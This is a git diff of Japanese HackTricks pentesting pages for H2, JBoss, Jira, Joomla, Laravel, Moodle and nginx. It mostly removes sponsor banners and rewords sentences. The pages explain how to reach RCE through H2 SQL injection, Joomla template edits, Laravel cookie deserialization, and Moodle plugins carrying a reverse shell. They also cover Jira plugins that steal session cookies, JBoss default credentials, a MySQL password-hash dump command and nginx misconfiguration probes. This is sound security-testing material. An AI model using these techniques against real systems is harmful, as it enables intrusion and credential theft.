**存在しないデータベース名を指定する**ことができます (**未認証**): ![](<../../images/image (131).png>) -また、例えば**mysqlが実行中であること**を知っていて、その**データベース名**と**資格情報**を知っている場合は、単にアクセスできます: +また、例えば**mysqlが実行中であることを知っていて**、そのデータベースの**データベース名**と**資格情報**を知っている場合は、単にアクセスできます: ![](<../../images/image (201).png>) @@ -22,7 +20,7 @@ _**HTBのボックスHawkからのトリック。**_ H2データベースと通信するアクセスがある場合、これをチェックしてRCEを取得します: [https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed](https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed) -## H2 SQLインジェクションからRCEへ +## H2 SQLインジェクションによるRCE [**この投稿**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/)では、**SQLインジェクション**を悪用して**H2データベース経由でRCEを取得する**ペイロードが説明されています。 ```json @@ -35,6 +33,4 @@ H2データベースと通信するアクセスがある場合、これをチェ }, [...] ``` -{% embed url="https://websec.nl/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/jboss.md b/src/network-services-pentesting/pentesting-web/jboss.md index 28f65ee93..e9dcdb4ff 100644 --- a/src/network-services-pentesting/pentesting-web/jboss.md +++ b/src/network-services-pentesting/pentesting-web/jboss.md @@ -2,20 +2,16 @@ {{#include ../../banners/hacktricks-training.md}} -
-**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加し、最大**$100,000**の報酬を得始めましょう! - -{% embed url="https://go.intigriti.com/hacktricks" %} ## 列挙と悪用技術 -ウェブアプリケーションのセキュリティを評価する際、_ /web-console/ServerInfo.jsp _や_ /status?full=true _のような特定のパスは、**サーバーの詳細**を明らかにするための重要な要素です。JBossサーバーにおいては、_ /admin-console _、_ /jmx-console _、_ /management _、および_ /web-console _のようなパスが重要です。これらのパスは、デフォルトの資格情報がしばしば**admin/admin**に設定されている**管理サーブレット**へのアクセスを許可する可能性があります。このアクセスにより、特定のサーブレットを介してMBeansと対話できます: +ウェブアプリケーションのセキュリティを評価する際、_ /web-console/ServerInfo.jsp _ や _ /status?full=true _ のような特定のパスは、**サーバーの詳細**を明らかにするための重要な要素です。JBossサーバーにおいては、_ /admin-console _、_ /jmx-console _、_ /management _、および _ /web-console _ のようなパスが重要です。これらのパスは、デフォルトの資格情報がしばしば **admin/admin** に設定されている**管理サーブレット**へのアクセスを許可する可能性があります。このアクセスにより、特定のサーブレットを介してMBeansと対話することができます: - JBossバージョン6および7では、**/web-console/Invoker**が使用されます。 - JBoss 5およびそれ以前のバージョンでは、**/invoker/JMXInvokerServlet**および**/invoker/EJBInvokerServlet**が利用可能です。 -[https://github.com/hatRiot/clusterd](https://github.com/hatRiot/clusterd)で入手可能な**clusterd**のようなツールや、Metasploitモジュール`auxiliary/scanner/http/jboss_vulnscan`は、JBOSSサービスの脆弱性の列挙と潜在的な悪用に使用できます。 +**clusterd**のようなツールは、[https://github.com/hatRiot/clusterd](https://github.com/hatRiot/clusterd)で入手可能で、JBOSSサービスの脆弱性の列挙と潜在的な悪用に使用できます。 ### 悪用リソース @@ -23,12 +19,8 @@ ### 脆弱なターゲットの発見 -Google Dorkingは、次のクエリを使用して脆弱なサーバーを特定するのに役立ちます: `inurl:status EJInvokerServlet` +Google Dorkingは、`inurl:status EJInvokerServlet`のようなクエリを使用して脆弱なサーバーを特定するのに役立ちます。 -
-**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加し、最大**$100,000**の報酬を得始めましょう! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/jira.md b/src/network-services-pentesting/pentesting-web/jira.md index ea63018f9..ce01e0e37 100644 --- a/src/network-services-pentesting/pentesting-web/jira.md +++ b/src/network-services-pentesting/pentesting-web/jira.md @@ -2,17 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -
- -もしあなたが**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたいなら - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 - -{% embed url="https://www.stmcyber.com/careers" %} - ## 権限の確認 -Jiraでは、**権限は**認証されたユーザーであれ認証されていないユーザーであれ、エンドポイント`/rest/api/2/mypermissions`または`/rest/api/3/mypermissions`を通じて確認できます。これらのエンドポイントは、ユーザーの現在の権限を明らかにします。**非認証ユーザーが権限を持つ**場合、これは**セキュリティの脆弱性**を示し、**バウンティ**の対象となる可能性があります。同様に、**認証されたユーザーに対する予期しない権限**も**脆弱性**を強調します。 +Jiraでは、**権限は**認証されたユーザーでも認証されていないユーザーでも、エンドポイント`/rest/api/2/mypermissions`または`/rest/api/3/mypermissions`を通じて確認できます。これらのエンドポイントは、ユーザーの現在の権限を明らかにします。**非認証ユーザーが権限を持つ**ことは、**セキュリティの脆弱性**を示しており、**バウンティ**の対象となる可能性があります。同様に、**認証されたユーザーに対する予期しない権限**も**脆弱性**を強調します。 -重要な**更新**が**2019年2月1日**に行われ、'mypermissions'エンドポイントに**'permission'パラメータ**を含めることが求められました。この要件は、クエリされる権限を指定することで**セキュリティを強化**することを目的としています: [ここで確認](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter) +重要な**更新**が**2019年2月1日**に行われ、'mypermissions'エンドポイントに**'permission'パラメータ**を含めることが求められました。この要件は、照会される権限を指定することで**セキュリティを強化**することを目的としています: [check it here](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter) - ADD_COMMENTS - ADMINISTER @@ -68,7 +62,7 @@ curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"h ## Atlasian プラグイン -この[**ブログ**](https://cyllective.com/blog/posts/atlassian-audit-plugins)に示されているように、[プラグインモジュールについてのドキュメント ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/plugin-modules/)では、次のようなさまざまなタイプのプラグインを確認できます。 +この[**ブログ**](https://cyllective.com/blog/posts/atlassian-audit-plugins)に示されているように、[プラグインモジュール ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/plugin-modules/)に関するドキュメントでは、次のようなさまざまなタイプのプラグインを確認できます。 - [REST プラグインモジュール ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/rest-plugin-module): RESTful API エンドポイントを公開 - [サーブレット プラグインモジュール ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/servlet-plugin-module/): プラグインの一部として Java サーブレットをデプロイ @@ -110,16 +104,10 @@ XSSが見つかった場合、[**このgithubリポジトリ**](https://github.c 悪意のあるプラグインが実行できるアクションのいくつかは次のとおりです: - **管理者からプラグインを隠す**: フロントエンドのJavaScriptを注入することで悪意のあるプラグインを隠すことが可能です。 -- **添付ファイルとページの抽出**: すべてのデータにアクセスし、抽出を許可します。 -- **セッショントークンの盗難**: ヘッダーをレスポンスにエコーするエンドポイントを追加し(クッキー付き)、それに連絡してクッキーを漏洩させるJavaScriptを追加します。 -- **コマンド実行**: コードを実行するプラグインを作成することが可能です。 +- **添付ファイルとページの抽出**: すべてのデータにアクセスし、抽出することを許可します。 +- **セッショントークンの盗難**: レスポンス内のヘッダー(クッキーを含む)をエコーするエンドポイントを追加し、それに連絡してクッキーを漏洩させるJavaScriptを追加します。 +- **コマンド実行**: コードを実行するプラグインを作成することは可能です。 - **リバースシェル**: またはリバースシェルを取得します。 -- **DOMプロキシ**: Confluenceがプライベートネットワーク内にある場合、アクセス権のあるユーザーのブラウザを通じて接続を確立し、例えばサーバーにコマンドを実行させることが可能です。 - -
- -**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 - -{% embed url="https://www.stmcyber.com/careers" %} +- **DOMプロキシ**: Confluenceがプライベートネットワーク内にある場合、アクセス権を持つユーザーのブラウザを通じて接続を確立し、例えばサーバーにコマンドを実行させることが可能です。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/joomla.md b/src/network-services-pentesting/pentesting-web/joomla.md index 530e7071d..1ff4a2b54 100644 --- a/src/network-services-pentesting/pentesting-web/joomla.md +++ b/src/network-services-pentesting/pentesting-web/joomla.md @@ -2,15 +2,10 @@ {{#include ../../banners/hacktricks-training.md}} -
- -**モバイルセキュリティ**の専門知識を8kSecアカデミーで深めましょう。自己学習コースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう: - -{% embed url="https://academy.8ksec.io/" %} ### Joomlaの統計 -Joomlaは、Joomla、PHP、データベースのバージョンやJoomlaインストールで使用されているサーバーオペレーティングシステムの内訳など、いくつかの匿名の[使用統計](https://developer.joomla.org/about/stats.html)を収集します。このデータは、彼らの公開[API](https://developer.joomla.org/about/stats/api.html)を介してクエリできます。 +Joomlaは、Joomla、PHP、データベースのバージョンおよびJoomlaインストールで使用されているサーバーオペレーティングシステムの内訳など、いくつかの匿名の[使用統計](https://developer.joomla.org/about/stats.html)を収集します。このデータは、彼らの公開された[API](https://developer.joomla.org/about/stats/api.html)を介してクエリできます。 ```bash curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool @@ -97,7 +92,7 @@ admin:admin ``` ## RCE -もし**管理者の資格情報**を取得できたら、**PHPコードのスニペット**を追加して**RCEを取得**できます。これを**テンプレートをカスタマイズ**することで行います。 +もし**管理者の資格情報**を取得できたら、**PHPコードのスニペット**を追加することで**RCEを実行**できます。これを**テンプレートをカスタマイズ**することで行います。 1. `Configuration`の下にある**`Templates`**を**クリック**して、テンプレートメニューを表示します。 2. **テンプレート**名を**クリック**します。`Template`列の下にある**`protostar`**を選択しましょう。これで**`Templates: Customise`**ページに移動します。 @@ -108,15 +103,9 @@ admin:admin ## From XSS to RCE -- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Joomlaの脆弱性を**XSSからRCEまたはその他の重大な脆弱性に昇格**させるスクリプト。詳細は[**この投稿**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)を確認してください。**Joomlaバージョン5.X.X、4.X.X、3.X.Xをサポートし、以下を可能にします:** +- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Joomlaの脆弱性を利用するスクリプトで、**XSSをRCEまたはその他の重大な脆弱性に昇格**させます。詳細については[**この投稿**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)を確認してください。**Joomlaバージョン5.X.X、4.X.X、3.X.Xをサポートし、以下を可能にします:** - _**特権昇格:**_ Joomlaにユーザーを作成します。 -- _**(RCE) ビルトインテンプレート編集:**_ Joomlaのビルトインテンプレートを編集します。 -- _**(カスタム) カスタムエクスプロイト:**_ サードパーティのJoomlaプラグイン用のカスタムエクスプロイト。 - -
- -8kSecアカデミーで**モバイルセキュリティ**の専門知識を深めましょう。自己ペースのコースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう: - -{% embed url="https://academy.8ksec.io/" %} +- _**(RCE) 組み込みテンプレートの編集:**_ Joomlaの組み込みテンプレートを編集します。 +- _**(カスタム) カスタムエクスプロイト:**_ サードパーティのJoomlaプラグイン用のカスタムエクスプロイトです。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md index 2c25e5be3..b3054af52 100644 --- a/src/network-services-pentesting/pentesting-web/laravel.md +++ b/src/network-services-pentesting/pentesting-web/laravel.md @@ -2,17 +2,12 @@ {{#include ../../banners/hacktricks-training.md}} -
-**モバイルセキュリティ**の専門知識を8kSecアカデミーで深めましょう。自己学習コースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう: - -{% embed url="https://academy.8ksec.io/" %} - -## Laravelのトリック +## Laravel Tricks ### デバッグモード -Laravelが**デバッグモード**の場合、**コード**や**機密データ**にアクセスできます。\ +Laravelが**デバッグモード**のとき、**コード**や**機密データ**にアクセスできます。\ 例えば `http://127.0.0.1:8000/profiles`: ![](<../../images/image (1046).png>) @@ -21,11 +16,11 @@ Laravelが**デバッグモード**の場合、**コード**や**機密データ ### .env -Laravelは、クッキーやその他の資格情報を暗号化するために使用するAPPを`.env`というファイルに保存しており、パストラバーサルを使用してアクセスできます:`/../.env` +Laravelは、クッキーや他の資格情報を暗号化するために使用するAPPを`.env`というファイルに保存しており、パストラバーサルを使用してアクセスできます: `/../.env` -Laravelは、エラーを見つけてアクティブになったときに表示されるデバッグページ内にもこの情報を表示します。 +Laravelはまた、エラーを見つけたときに表示されるデバッグページ内にこの情報を表示します(それが有効になっている場合)。 -Laravelの秘密のAPP_KEYを使用して、クッキーを復号化および再暗号化できます: +Laravelの秘密のAPP_KEYを使用して、クッキーを復号化し再暗号化できます。 ### クッキーの復号化 ```python @@ -92,7 +87,7 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2 ここでデシリアライズの脆弱性に関する情報を見つけることができます: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) -[https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)を使用してテストおよび悪用できます。\ +[https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)を使用してテストおよび悪用できます\ または、metasploitを使用しても悪用できます: `use unix/http/laravel_token_unserialize_exec` ### CVE-2021-3129 @@ -101,12 +96,7 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2 ### Laravel SQLインジェクション -ここでこの情報を読むことができます: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) +ここでの情報をお読みください: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel) -
- -**モバイルセキュリティ**の専門知識を8kSecアカデミーで深めましょう。自己ペースのコースを通じてiOSおよびAndroidのセキュリティをマスターし、認定を取得しましょう: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/moodle.md b/src/network-services-pentesting/pentesting-web/moodle.md index 21eaf6dd4..933813455 100644 --- a/src/network-services-pentesting/pentesting-web/moodle.md +++ b/src/network-services-pentesting/pentesting-web/moodle.md @@ -2,11 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -**バグバウンティのヒント**: **サインアップ**して、**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォームである** **Intigriti**に参加しましょう!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう! - -{% embed url="https://go.intigriti.com/hacktricks" %} ## 自動スキャン @@ -72,13 +67,13 @@ cmsmap http://moodle.example.com/ ## **RCE** -**マネージャー**ロールを持っている必要があり、**"サイト管理"**タブ内にプラグインを**インストール**できます\*\*:\*\* +**マネージャー**ロールを持っている必要があり、**"サイト管理"**タブ内に**プラグインをインストール**することができます\*\*:\*\* ![](<../../images/image (630).png>) -マネージャーであっても、このオプションを**有効にする必要がある**場合があります。moodleの特権昇格PoCでどのように行うかを見ることができます: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)。 +マネージャーであれば、このオプションを**有効にする必要があるかもしれません**。moodleの特権昇格PoCでどのように行うかを見ることができます: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)。 -次に、クラシックなpentest-monkey php r**ev shell**を含む**以下のプラグインをインストール**できます(アップロードする前に解凍し、revshellのIPとポートを変更し、再圧縮する必要があります)。 +次に、クラシックなpentest-monkey php r**ev shell**を含む**以下のプラグインをインストール**できます(_アップロードする前に解凍し、revshellのIPとポートを変更し、再圧縮する必要があります_) {% file src="../../images/moodle-rce-plugin.zip" %} @@ -98,10 +93,4 @@ find / -name "config.php" 2>/dev/null | grep "moodle/config.php" ```bash /usr/local/bin/mysql -u --password= -e "use moodle; select email,username,password from mdl_user; exit" ``` -
- -**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう! - -{% embed url="https://go.intigriti.com/hacktricks" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/nginx.md b/src/network-services-pentesting/pentesting-web/nginx.md index 67b12038c..91824684b 100644 --- a/src/network-services-pentesting/pentesting-web/nginx.md +++ b/src/network-services-pentesting/pentesting-web/nginx.md @@ -2,13 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -**ウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを利用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## Missing root location @@ -23,19 +16,19 @@ proxy_pass http://127.0.0.1:8080/; } } ``` -この構成では、`/etc/nginx` がルートディレクトリとして指定されています。この設定により、`/hello.txt` のような指定されたルートディレクトリ内のファイルにアクセスできます。しかし、特定の場所(`/hello.txt`)のみが定義されていることに注意することが重要です。ルートロケーション(`location / {...}`)の設定はありません。この省略により、ルートディレクティブはグローバルに適用され、ルートパス `/` へのリクエストが `/etc/nginx` の下のファイルにアクセスできるようになります。 +この構成では、`/etc/nginx` がルートディレクトリとして指定されています。この設定により、指定されたルートディレクトリ内のファイル、例えば `/hello.txt` へのアクセスが可能になります。しかし、特定の場所(`/hello.txt`)のみが定義されていることに注意することが重要です。ルートロケーション(`location / {...}`)の設定はありません。この省略により、ルートディレクティブはグローバルに適用され、ルートパス `/` へのリクエストが `/etc/nginx` の下のファイルにアクセスできるようになります。 -この構成から生じる重要なセキュリティ上の考慮事項があります。`GET /nginx.conf` のような単純な `GET` リクエストは、`/etc/nginx/nginx.conf` にある Nginx 設定ファイルを提供することによって、機密情報を露出させる可能性があります。ルートを `/etc` のようなあまり機密性の高くないディレクトリに設定することで、このリスクを軽減できますが、それでも他の重要なファイル、他の設定ファイル、アクセスログ、さらには HTTP ベーシック認証に使用される暗号化された資格情報への意図しないアクセスを許可する可能性があります。 +この構成から生じる重要なセキュリティ上の考慮事項があります。単純な `GET` リクエスト、例えば `GET /nginx.conf` は、`/etc/nginx/nginx.conf` にある Nginx 設定ファイルを提供することによって、機密情報を露出させる可能性があります。ルートを `/etc` のようなあまり機密性の高くないディレクトリに設定することで、このリスクを軽減できますが、それでも他の重要なファイル、他の設定ファイル、アクセスログ、さらには HTTP ベーシック認証に使用される暗号化された資格情報への意図しないアクセスを許可する可能性があります。 ## Alias LFI Misconfiguration -Nginx の設定ファイルでは、「location」ディレクティブを注意深く検査する必要があります。Local File Inclusion (LFI) として知られる脆弱性は、次のような構成を通じて意図せず導入される可能性があります。 +Nginx の設定ファイルでは、「location」ディレクティブを注意深く検査する必要があります。Local File Inclusion (LFI) として知られる脆弱性は、以下のような設定を通じて意図せず導入される可能性があります。 ``` location /imgs { alias /path/images/; } ``` -この設定は、サーバーが `/imgs../flag.txt` のようなリクエストを意図しないディレクトリ外のファイルにアクセスしようとする試みとして解釈するため、LFI攻撃に対して脆弱です。これは実際には `/path/images/../flag.txt` に解決されます。この欠陥により、攻撃者はウェブを介してアクセスできるべきではないサーバーのファイルシステムからファイルを取得することができます。 +この設定は、サーバーが `/imgs../flag.txt` のようなリクエストを意図しないディレクトリの外にあるファイルにアクセスしようとする試みとして解釈するため、LFI攻撃に対して脆弱です。これは実際には `/path/images/../flag.txt` に解決されます。この欠陥により、攻撃者はウェブ経由でアクセスできるべきではないサーバーのファイルシステムからファイルを取得することができます。 この脆弱性を軽減するために、設定を次のように調整する必要があります: ``` @@ -43,7 +36,9 @@ location /imgs/ { alias /path/images/; } ``` -Accunetixのテスト: +より多くの情報: [https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/](https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/) + +Accunetix テスト: ``` alias../ => HTTP status code 403 alias.../ => HTTP status code 404 @@ -76,9 +71,9 @@ deny all; > > `location ~ /docs/([^/])? { … $1 … }` - 脆弱 > -> `location ~ /docs/([^/\s])? { … $1 … }` - 脆弱ではない(スペースをチェック) +> `location ~ /docs/([^/\s])? { … $1 … }` - 脆弱でない(スペースをチェック) > -> `location ~ /docs/(.*)? { … $1 … }` - 脆弱ではない +> `location ~ /docs/(.*)? { … $1 … }` - 脆弱でない Nginx構成の脆弱性は、以下の例で示されています: ``` @@ -86,7 +81,7 @@ location / { return 302 https://example.com$uri; } ``` -HTTPリクエストにおける文字 \r (キャリッジリターン) と \n (ラインフィード) は新しい行の文字を示し、そのURLエンコード形式は `%0d%0a` で表されます。これらの文字をリクエストに含めると (例: `http://localhost/%0d%0aDetectify:%20clrf`)、誤って設定されたサーバーは `Detectify` という新しいヘッダーを発行します。これは、$uri 変数がURLエンコードされた新しい行の文字をデコードするため、レスポンスに予期しないヘッダーが含まれることになります。 +HTTPリクエストにおける文字 \r (キャリッジリターン) と \n (ラインフィード) は新しい行文字を示し、そのURLエンコード形式は `%0d%0a` で表されます。これらの文字をリクエストに含めると (例: `http://localhost/%0d%0aDetectify:%20clrf`)、誤って設定されたサーバーは `Detectify` という新しいヘッダーを発行します。これは、$uri 変数がURLエンコードされた新しい行文字をデコードするため、レスポンスに予期しないヘッダーが含まれることになります。 ``` HTTP/1.1 302 Moved Temporarily Server: nginx/1.19.3 @@ -98,12 +93,12 @@ Detectify: clrf ``` CRLFインジェクションとレスポンススプリッティングのリスクについて詳しく学ぶには、[https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/)を参照してください。 -また、この技術は[**このトークで説明されています**](https://www.youtube.com/watch?v=gWQyWdZbdoY&list=PL0xCSYnG_iTtJe2V6PQqamBF73n7-f1Nr&index=77)が、いくつかの脆弱な例と検出メカニズムが示されています。例えば、ブラックボックスの観点からこの誤設定を検出するには、次のリクエストを使用できます: +この技術は、いくつかの脆弱な例と検出メカニズムを用いて[**このトークで説明されています**](https://www.youtube.com/watch?v=gWQyWdZbdoY&list=PL0xCSYnG_iTtJe2V6PQqamBF73n7-f1Nr&index=77)。例えば、ブラックボックスの観点からこの誤設定を検出するには、次のリクエストを使用できます: - `https://example.com/%20X` - 任意のHTTPコード - `https://example.com/%20H` - 400 Bad Request -脆弱な場合、最初のリクエストは「X」として返され、任意のHTTPメソッドが使用され、2番目のリクエストはHが有効なメソッドではないためエラーが返されます。したがって、サーバーは次のようなものを受け取ります:`GET / H HTTP/1.1` これによりエラーがトリガーされます。 +脆弱な場合、最初のリクエストは「X」が任意のHTTPメソッドであるため返され、2番目のリクエストはHが有効なメソッドではないためエラーが返されます。したがって、サーバーは次のようなものを受け取ります:`GET / H HTTP/1.1` これによりエラーがトリガーされます。 他の検出例は次のとおりです: @@ -112,7 +107,7 @@ CRLFインジェクションとレスポンススプリッティングのリス そのトークで示された脆弱な設定のいくつかは次のとおりです: -- 最終URLで**`$uri`**がそのまま設定されていることに注意してください。 +- **`$uri`** が最終URLにそのまま設定されていることに注意してください。 ``` location ^~ /lite/api/ { proxy_pass http://lite-backend$uri$is_args$args; @@ -132,9 +127,9 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri; ``` ### Any variable -**ユーザー提供データ**が特定の状況下で**Nginx変数**として扱われる可能性があることが発見されました。この動作の原因はやや不明ですが、珍しいことではなく、確認するのも簡単ではありません。この異常はHackerOneのセキュリティレポートで強調されており、[こちら](https://hackerone.com/reports/370094)で見ることができます。エラーメッセージのさらなる調査により、[NginxのコードベースのSSIフィルターモジュール](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365)内での発生が特定され、サーバーサイドインクルード(SSI)が根本的な原因であることが明らかになりました。 +**ユーザー提供データ**が特定の状況下で**Nginx変数**として扱われる可能性があることが発見されました。この挙動の原因はやや不明ですが、珍しいことではなく、確認するのも簡単ではありません。この異常はHackerOneのセキュリティレポートで強調されており、[こちら](https://hackerone.com/reports/370094)で見ることができます。エラーメッセージのさらなる調査により、[NginxのコードベースのSSIフィルターモジュール](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365)内での発生が特定され、サーバーサイドインクルード(SSI)が根本的な原因であることが明らかになりました。 -この**誤設定を検出するために**、次のコマンドを実行できます。これは、変数の印刷をテストするためにリファラーヘッダーを設定することを含みます: +この**誤設定を検出するために**、以下のコマンドを実行できます。これは、変数の印刷をテストするためにリファラーヘッダーを設定することを含みます: ```bash $ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’ ``` @@ -142,9 +137,9 @@ $ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar ## 生のバックエンドレスポンスの読み取り -Nginxは、バックエンドによって生成されたエラーやHTTPヘッダーを傍受することを可能にする`proxy_pass`を通じて機能を提供し、内部エラーメッセージやヘッダーを隠すことを目的としています。これは、Nginxがバックエンドエラーに応じてカスタムエラーページを提供することによって実現されます。しかし、Nginxが無効なHTTPリクエストに遭遇すると、課題が生じます。そのようなリクエストは、受信した通りにバックエンドに転送され、バックエンドの生のレスポンスはNginxの介入なしにクライアントに直接送信されます。 +Nginxは、`proxy_pass`を通じて、バックエンドによって生成されたエラーやHTTPヘッダーの傍受を可能にする機能を提供し、内部エラーメッセージやヘッダーを隠すことを目的としています。これは、Nginxがバックエンドエラーに応じてカスタムエラーページを提供することによって実現されます。しかし、Nginxが無効なHTTPリクエストに遭遇すると、課題が生じます。そのようなリクエストは、受信した通りにバックエンドに転送され、バックエンドの生のレスポンスはNginxの介入なしにクライアントに直接送信されます。 -uWSGIアプリケーションに関する例のシナリオを考えてみましょう: +uWSGIアプリケーションに関する例を考えてみましょう: ```python def application(environ, start_response): start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')]) @@ -173,7 +168,7 @@ proxy_hide_header Secret-Header; ### **Macliciousレスポンスヘッダー** -[**この書き込み**](https://mizu.re/post/cors-playground)に示されているように、ウェブサーバーからのレスポンスに存在する場合、特定のヘッダーがNginxプロキシの動作を変更します。これらは[**ドキュメント**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/)で確認できます: +[**この書き込み**](https://mizu.re/post/cors-playground)に示されているように、ウェブサーバーからのレスポンスに存在する場合、特定のヘッダーがNginxプロキシの動作を変更します。これらは[**ドキュメントで確認できます**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/): - `X-Accel-Redirect`: Nginxにリクエストを指定された場所に内部的にリダイレクトするよう指示します。 - `X-Accel-Buffering`: Nginxがレスポンスをバッファリングするかどうかを制御します。 @@ -221,7 +216,7 @@ resolver 8.8.8.8; nginx サーバーが Upgrade および Connection ヘッダーを渡すように設定されている場合、[**h2c Smuggling attack**](../../pentesting-web/h2c-smuggling.md) を実行して保護された/内部エンドポイントにアクセスすることができます。 > [!CAUTION] -> この脆弱性により、攻撃者は **`proxy_pass` エンドポイント (`http://backend:9999` の場合) との直接接続を確立することができます**。その内容は nginx によってチェックされません。 +> この脆弱性により、攻撃者は **`proxy_pass` エンドポイント**(この場合は `http://backend:9999`)との直接接続を確立することができ、その内容は nginx によってチェックされません。 `/flag` を盗むための脆弱な設定の例は [here](https://bishopfox.com/blog/h2c-smuggling-request) です。 ``` @@ -244,7 +239,7 @@ deny all; } ``` > [!WARNING] -> `proxy_pass` が `http://backend:9999/socket.io` のような特定の **path** を指していても、接続は `http://backend:9999` に確立されるため、**その内部エンドポイント内の他の任意のパスに連絡することができます。したがって、proxy_pass の URL にパスが指定されていても問題ありません。** +> `proxy_pass` が `http://backend:9999/socket.io` のような特定の **path** を指していても、接続は `http://backend:9999` に確立されるため、内部エンドポイント内の他の任意のパスに **連絡することができます。したがって、proxy_pass の URL にパスが指定されていても関係ありません。** ## 自分で試してみる @@ -268,12 +263,5 @@ Nginxpwner は、一般的な Nginx の誤設定や脆弱性を探すための - [**http://blog.zorinaq.com/nginx-resolver-vulns/**](http://blog.zorinaq.com/nginx-resolver-vulns/) - [**https://github.com/yandex/gixy/issues/115**](https://github.com/yandex/gixy/issues/115) -
